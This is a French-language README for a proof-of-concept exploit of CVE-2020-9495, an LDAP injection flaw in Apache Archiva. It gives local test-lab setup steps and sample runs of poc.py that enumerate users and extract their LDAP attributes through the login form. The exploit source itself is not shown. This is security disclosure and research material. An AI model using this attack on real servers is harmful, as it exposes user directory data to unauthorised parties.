CVE-2020-9495 PoC

CVE-2020-9495 est une vulnérabilité d'injection LDAP de sévérité moyenne dans Apache Archiva versions antérieures à 2.2.5. Elle permet à un attaquant de récupérer les valeurs de n'importe quel attribut LDAP des utilisateurs présents sur le serveur LDAP.

D'après l'avis de sécurité officiel d'Apache Archiva :

En fournissant des valeurs spéciales au formulaire de connexion d'Archiva, un attaquant peut récupérer les données d'attributs des utilisateurs du serveur LDAP connecté. Avec certains caractères, il est possible de modifier le filtre LDAP utilisé pour interroger les utilisateurs sur le serveur LDAP connecté. En mesurant le temps de réponse, des données d'attributs arbitraires peuvent être récupérées depuis les objets utilisateur LDAP.

PoC

Le script poc.py montre comment un attaquant non autorisé peut énumérer les utilisateurs d'un serveur LDAP intégré à Archiva et récupérer la valeur de n'importe quel attribut de n'importe quel utilisateur.

Serveur de test Archiva local

Sautez cette étape si vous avez déjà un serveur Archiva avec l'authentification LDAP activée.

1. Téléchargez Archiva 2.2.4 et extrayez-le

   $ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
   $ tar -zxf apache-archiva-2.2.4-bin.tar.gz
   

2. Exécutez un serveur OpenLDAP

   $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
   

3. Importez les utilisateurs de users.ldif dans LDAP

   $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
   

4. Exécutez le serveur Archiva

   $ bin/archiva console
   

5. Activez et configurez l'authentification LDAP via l'interface web

Énumérer les utilisateurs

$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

Récupérer les valeurs d'attributs LDAP de l'utilisateur admin1

$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last